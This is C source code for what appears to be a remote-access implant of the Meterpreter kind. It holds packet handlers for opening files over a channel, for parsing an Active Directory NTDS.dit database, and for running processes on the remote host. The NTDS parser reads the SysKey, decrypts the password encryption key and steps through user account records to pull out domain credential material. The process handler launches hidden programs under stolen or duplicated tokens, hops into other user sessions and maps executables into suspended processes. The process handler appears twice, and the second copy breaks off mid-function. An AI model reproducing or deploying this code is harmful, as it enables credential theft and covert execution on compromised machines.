/*
* Handles the open request for a file channel and returns a valid channel
* identifier to the requestor if the file is opened successfully
*/
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
{
Packet *response = NULL;
PCHAR filePath, mode;
DWORD res = ERROR_SUCCESS;
DWORD flags = 0;
Channel *newChannel = NULL;
PoolChannelOps chops = { 0 };
FileContext *ctx;
LPSTR expandedFilePath = NULL;
do
{
// Allocate a response
response = packet_create_response(packet);
// Get the channel flags
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Allocate storage for the file context
if (!(ctx = (FileContext *)malloc(sizeof(FileContext))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Get the file path and the mode
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);
// No file path? bogus.
if (!filePath)
{
res = ERROR_INVALID_PARAMETER;
break;
}
// Expand the file path
if (!(expandedFilePath = fs_expand_path(filePath)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
if (!mode)
mode = "rb";
// Invalid file?
if (!(ctx->fd = fopen(expandedFilePath, mode)))
{
res = GetLastError();
break;
}
memset(&chops, 0, sizeof(chops));
// Initialize the pool operation handlers
chops.native.context = ctx;
chops.native.write = file_channel_write;
chops.native.close = file_channel_close;
chops.read = file_channel_read;
chops.eof = file_channel_eof;
chops.seek = file_channel_seek;
chops.tell = file_channel_tell;
// Check the response allocation & allocate a un-connected
// channel
if ((!response) ||
(!(newChannel = channel_create_pool(0, flags,
&chops))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Add the channel identifier to the response
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
channel_get_id(newChannel));
} while (0);
// Transmit the packet if it's valid
packet_transmit_response(res, remote, response);
// Clean up on failure
if (res != ERROR_SUCCESS)
{
if (newChannel)
channel_destroy(newChannel, NULL);
if (ctx)
free(ctx);
}
// Free the expanded file path if it was allocated
if (expandedFilePath)
free(expandedFilePath);
return res;
}
// This is the raw NTDS command function. When the remote user
// sends a command request for extapi_ntds_parse, this function fires.
// It calls the setup routines for our Jet Instance, attaches the isntance
// to the NTDS.dit database the user specified, and creates our channel.
// The user interacts with the NTDS database through that channel from that point on.
DWORD ntds_parse(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
// Check if the File exists
if (0xffffffff == GetFileAttributes(filePath)) {
res = 2;
goto out;
}
strncpy_s(ntdsState->ntdsPath, 255, filePath, 254);
// Attempt to get the SysKey from the Registry
unsigned char sysKey[17];
if (!get_syskey(sysKey)) {
res = GetLastError();
goto out;
}
JET_ERR startupStatus = engine_startup(ntdsState);
if (startupStatus != JET_errSuccess) {
res = startupStatus;
goto out;
}
// Start a Session in the Jet Instance
JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL);
if (sessionStatus != JET_errSuccess) {
JetTerm(ntdsState->jetEngine);
res = sessionStatus;
goto out;
}
JET_ERR openStatus = open_database(ntdsState);
if (openStatus != JET_errSuccess) {
JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
JetTerm(ntdsState->jetEngine);
res = openStatus;
goto out;
}
JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable);
if (tableStatus != JET_errSuccess) {
engine_shutdown(ntdsState);
res = tableStatus;
goto out;
}
// Create the structure for holding all of the Column Definitions we need
struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns));
JET_ERR columnStatus = get_column_info(ntdsState, accountColumns);
if (columnStatus != JET_errSuccess) {
engine_shutdown(ntdsState);
free(accountColumns);
res = columnStatus;
goto out;
}
JET_ERR pekStatus;
struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK));
struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK));
// Get and Decrypt the Password Encryption Key (PEK)
pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted);
if (pekStatus != JET_errSuccess) {
res = pekStatus;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) {
res = GetLastError();
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
// Set our Cursor on the first User record
JET_ERR cursorStatus = find_first(ntdsState);
if (cursorStatus != JET_errSuccess) {
res = cursorStatus;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
cursorStatus = next_user(ntdsState, accountColumns);
if (cursorStatus != JET_errSuccess) {
res = cursorStatus;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
// If we made it this far, it's time to set up our channel
PoolChannelOps chops;
Channel *newChannel;
memset(&chops, 0, sizeof(chops));
NTDSContext *ctx;
// Allocate storage for the NTDS context
if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
res = ERROR_NOT_ENOUGH_MEMORY;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
ctx->accountColumns = accountColumns;
ctx->ntdsState = ntdsState;
ctx->pekDecrypted = pekDecrypted;
// Initialize the pool operation handlers
chops.native.context = ctx;
chops.native.close = ntds_channel_close;
chops.read = ntds_channel_read;
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
channel_set_type(newChannel, "ntds");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
out:
packet_transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
/*
* Executes a process using the supplied parameters, optionally creating a
* channel through which output is filtered.
*
* req: TLV_TYPE_PROCESS_PATH - The executable to launch
* req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
* req: TLV_TYPE_FLAGS - The flags to execute with
*/
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
Tlv inMemoryData;
BOOL doInMemory = FALSE;
PROCESS_INFORMATION pi;
STARTUPINFO si;
HANDLE in[2], out[2];
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
BOOL inherit = FALSE;
HANDLE token, pToken;
char * cpDesktop = NULL;
DWORD session = 0;
LPVOID pEnvironment = NULL;
LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL;
LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
HMODULE hUserEnvLib = NULL;
ProcessChannelContext * ctx = NULL;
dprintf( "[PROCESS] request_sys_process_execute" );
// Initialize the startup information
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFO) );
si.cb = sizeof(STARTUPINFO);
// Initialize pipe handles
in[0] = NULL;
in[1] = NULL;
out[0] = NULL;
out[1] = NULL;
do
{
// No response? We suck.
if (!response)
{
break;
}
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
createFlags |= CREATE_SUSPENDED;
}
if (flags & PROCESS_EXECUTE_FLAG_DESKTOP)
{
do
{
cpDesktop = (char *)malloc(512);
if (!cpDesktop)
break;
memset(cpDesktop, 0, 512);
lock_acquire(remote->lock);
_snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name);
lock_release(remote->lock);
si.lpDesktop = cpDesktop;
} while (0);
}
// If the remote endpoint provided arguments, combine them with the
// executable to produce a command line
if (path && arguments)
{
size_t commandLineLength = strlen(path) + strlen(arguments) + 2;
if (!(commandLine = (PCHAR)malloc(commandLineLength)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
}
else if (path)
{
commandLine = path;
}
else
{
result = ERROR_INVALID_PARAMETER;
break;
}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
dprintf("[PROCESS] context address 0x%p", ctx);
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
// Allocate the stdin and stdout pipes
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Initialize the startup info to use the pipe handles
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = in[0];
si.hStdOutput = out[1];
si.hStdError = out[1];
inherit = TRUE;
createFlags |= CREATE_NEW_CONSOLE;
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
}
// If the hidden flag is set, create the process hidden
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
{
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}
// Should we create the process suspended?
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
createFlags |= CREATE_SUSPENDED;
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
{
// If there is an impersonated token stored, use that one first, otherwise
// try to grab the current thread token, then the process token
if (remote->thread_token)
{
token = remote->thread_token;
dprintf("[execute] using thread impersonation token");
}
else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
{
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
}
dprintf("[execute] token is 0x%.8x", token);
// Duplicate to make primary token (try delegation first)
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
{
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
{
result = GetLastError();
dprintf("[execute] failed to duplicate token 0x%.8x", result);
break;
}
}
hUserEnvLib = LoadLibrary("userenv.dll");
if (NULL != hUserEnvLib)
{
lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE))
{
createFlags |= CREATE_UNICODE_ENVIRONMENT;
dprintf("[execute] created a duplicated environment block");
}
else
{
pEnvironment = NULL;
}
}
// Try to execute the process with duplicated token
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
{
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
HANDLE hAdvapi32 = NULL;
wchar_t * wcmdline = NULL;
wchar_t * wdesktop = NULL;
size_t size = 0;
result = GetLastError();
// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
if (result == ERROR_PRIVILEGE_NOT_HELD)
{
do
{
hAdvapi32 = LoadLibrary("advapi32.dll");
if (!hAdvapi32)
{
break;
}
pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
if (!pCreateProcessWithTokenW)
{
break;
}
// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
size = mbstowcs(NULL, commandLine, 0);
if (size == (size_t)-1)
{
break;
}
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wcmdline, commandLine, size);
if (si.lpDesktop)
{
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
if (size != (size_t)-1)
{
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wdesktop, (char *)si.lpDesktop, size);
si.lpDesktop = (LPSTR)wdesktop;
}
}
if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
{
result = GetLastError();
dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
break;
}
result = ERROR_SUCCESS;
} while (0);
if (hAdvapi32)
{
FreeLibrary(hAdvapi32);
}
SAFE_FREE(wdesktop);
SAFE_FREE(wcmdline);
}
else
{
dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
break;
}
}
if (lpfnDestroyEnvironmentBlock && pEnvironment)
{
lpfnDestroyEnvironmentBlock(pEnvironment);
}
if (NULL != hUserEnvLib)
{
FreeLibrary(hUserEnvLib);
}
}
else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
{
typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
HANDLE hToken = NULL;
HMODULE hWtsapi32 = NULL;
BOOL bSuccess = FALSE;
DWORD dwResult = ERROR_SUCCESS;
do
{
// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
hWtsapi32 = LoadLibraryA("wtsapi32.dll");
session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);
if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
{
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
}
}
else
{
pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
if (!pWTSQueryUserToken)
{
BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
}
if (!pWTSQueryUserToken(session, &hToken))
{
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
}
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
}
}
} while (0);
if (hWtsapi32)
{
FreeLibrary(hWtsapi32);
}
if (hToken)
{
CloseHandle(hToken);
}
result = dwResult;
if (result != ERROR_SUCCESS)
{
break;
}
}
else
{
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
result = GetLastError();
break;
}
}
//
// Do up the in memory exe execution if the user requested it
//
if (doInMemory)
{
//
// Unmap the dummy executable and map in the new executable into the
// target process
//
if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer))
{
result = GetLastError();
break;
}
//
// Resume the thread and let it rock...
//
if (ResumeThread(pi.hThread) == (DWORD)-1)
{
result = GetLastError();
break;
}
}
// check for failure here otherwise we can get a case where we
// failed but return a process id and this will throw off the ruby side.
if (result == ERROR_SUCCESS)
{
// if we managed to successfully create a channelized process, we need to retain
// a handle to it so that we can shut it down externally if required.
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
&& ctx != NULL)
{
dprintf("[PROCESS] started process 0x%x", pi.hProcess);
ctx->pProcess = pi.hProcess;
}
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess);
CloseHandle(pi.hThread);
}
} while (0);
// Close the read side of stdin and the write side of stdout
if (in[0])
{
CloseHandle(in[0]);
}
if (out[1])
{
CloseHandle(out[1]);
}
// Free the command line if necessary
if (path && arguments && commandLine)
{
free(commandLine);
}
if (cpDesktop)
{
free(cpDesktop);
}
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Executes a process using the supplied parameters, optionally creating a
* channel through which output is filtered.
*
* req: TLV_TYPE_PROCESS_PATH - The executable to launch
* req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
* req: TLV_TYPE_FLAGS - The flags to execute with
*/
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
Tlv inMemoryData;
BOOL doInMemory = FALSE;
#ifdef _WIN32
PROCESS_INFORMATION pi;
STARTUPINFO si;
HANDLE in[2], out[2];
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
BOOL inherit = FALSE;
HANDLE token, pToken;
char * cpDesktop = NULL;
DWORD session = 0;
LPVOID pEnvironment = NULL;
LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL;
LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
HMODULE hUserEnvLib = NULL;
dprintf( "[PROCESS] request_sys_process_execute" );
// Initialize the startup information
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFO) );
si.cb = sizeof(STARTUPINFO);
// Initialize pipe handles
in[0] = NULL;
in[1] = NULL;
out[0] = NULL;
out[1] = NULL;
do
{
// No response? We suck.
if (!response)
break;
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
createFlags |= CREATE_SUSPENDED;
}
if( flags & PROCESS_EXECUTE_FLAG_DESKTOP )
{
do
{
cpDesktop = (char *)malloc( 512 );
if( !cpDesktop )
break;
memset( cpDesktop, 0, 512 );
lock_acquire( remote->lock );
_snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName );
lock_release( remote->lock );
si.lpDesktop = cpDesktop;
} while( 0 );
}
// If the remote endpoint provided arguments, combine them with the
// executable to produce a command line
if (path && arguments)
{
DWORD commandLineLength = strlen(path) + strlen(arguments) + 2;
if (!(commandLine = (PCHAR)malloc(commandLineLength)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
}
else if (path)
commandLine = path;
else
{
result = ERROR_INVALID_PARAMETER;
break;
}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
// Allocate the stdin and stdout pipes
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Initialize the startup info to use the pipe handles
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = in[0];
si.hStdOutput = out[1];
si.hStdError = out[1];
inherit = TRUE;
createFlags |= CREATE_NEW_CONSOLE;
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
}
// If the hidden flag is set, create the process hidden
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
{
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}
// Should we create the process suspended?
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
createFlags |= CREATE_SUSPENDED;
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
{
// If there is an impersonated token stored, use that one first, otherwise
// try to grab the current thread token, then the process token
if (remote->hThreadToken){
token = remote->hThreadToken;
dprintf("[execute] using thread impersonation token");
}
else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
dprintf("[execute] token is 0x%.8x", token);
// Duplicate to make primary token (try delegation first)
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
{
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
{
result = GetLastError();
dprintf("[execute] failed to duplicate token 0x%.8x", result);
break;
}
}
hUserEnvLib = LoadLibrary("userenv.dll");
if ( NULL != hUserEnvLib ) {
lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" );
lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" );
if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) {
createFlags |= CREATE_UNICODE_ENVIRONMENT;
dprintf("[execute] created a duplicated environment block");
} else {
pEnvironment = NULL;
}
}
// Try to execute the process with duplicated token
if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) )
{
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
HANDLE hAdvapi32 = NULL;
wchar_t * wcmdline = NULL;
wchar_t * wdesktop = NULL;
int size = 0;
result = GetLastError();
// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
if( result == ERROR_PRIVILEGE_NOT_HELD )
{
do
{
hAdvapi32 = LoadLibrary( "advapi32.dll" );
if( !hAdvapi32 )
break;
pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" );
if( !pCreateProcessWithTokenW )
break;
// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
size = mbstowcs( NULL, commandLine, 0 );
if( size < 0 )
break;
wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
mbstowcs( wcmdline, commandLine, size );
if( si.lpDesktop )
{
size = mbstowcs( NULL, (char *)si.lpDesktop, 0 );
if( size > 0 )
{
wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
mbstowcs( wdesktop, (char *)si.lpDesktop, size );
si.lpDesktop = (LPSTR)wdesktop;
}
}
if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) )
{
result = GetLastError();
dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
break;
}
result = ERROR_SUCCESS;
} while( 0 );
if( hAdvapi32 )
FreeLibrary( hAdvapi32 );
if( wdesktop )
free( wdesktop );
if( wcmdline )
free( wcmdline );
}
else
{
dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
break;
}
}
if( lpfnDestroyEnvironmentBlock && pEnvironment )
lpfnDestroyEnvironmentBlock( pEnvironment );
if( NULL != hUserEnvLib )
FreeLibrary( hUserEnvLib );
}
else if( flags & PROCESS_EXECUTE_FLAG_SESSION )
{
typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken );
WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
HANDLE hToken = NULL;
HMODULE hWtsapi32 = NULL;
BOOL bSuccess = FALSE;
DWORD dwResult = ERROR_SUCCESS;
do
{
// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
hWtsapi32 = LoadLibraryA( "wtsapi32.dll" );
session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION );
if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 )
{
if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" );
}
else
{
pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" );
if( !pWTSQueryUserToken )
BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" );
if( !pWTSQueryUserToken( session, &hToken ) )
BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" );
if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
}
} while( 0 );
if( hWtsapi32 )
FreeLibrary( hWtsapi32 );
if( hToken )
CloseHandle( hToken );
result = dwResult;
if( result != ERROR_SUCCESS )
break;
}
else
{
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
result = GetLastError();
break;
}
}
//
// Do up the in memory exe execution if the user requested it
//
if (doInMemory) {
//
// Unmap the dummy executable and map in the new executable into the
// target process
//
if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer))
{
result = GetLastError();
break;
}
//
// Resume the thread and let it rock...
//
if (ResumeThread(pi.hThread) == (DWORD)-1)
{
result = GetLastError();
break;
}
}
// check for failure here otherwise we can get a case where we
// failed but return a process id and this will throw off the ruby side.
if( result == ERROR_SUCCESS )
{
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess);
CloseHandle(pi.hThread);
}
} while (0);
// Close the read side of stdin and the write side of stdout
if (in[0])
CloseHandle(in[0]);
if (out[1])
CloseHandle(out[1]);
// Free the command line if necessary
if (path && arguments && commandLine)
free(commandLine);
if( cpDesktop )
free( cpDesktop );
#else
PCHAR path, arguments;;
DWORD flags;
char *argv[8], *command_line;
int cl_len = 0;
int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
int master = -1, slave = -1;
int devnull = -1;
int idx, i;
pid_t pid;
int have_pty = -1;
int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);
dprintf( "[PROCESS] request_sys_process_execute" );
do {
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
}
// how to handle a single string argument line? we don't have a lexer/parser to
// correctly handle stuff like quotes, etc. could dumbly parse on white space to
// build arguments for execve. revert to /bin/sh -c style execution?
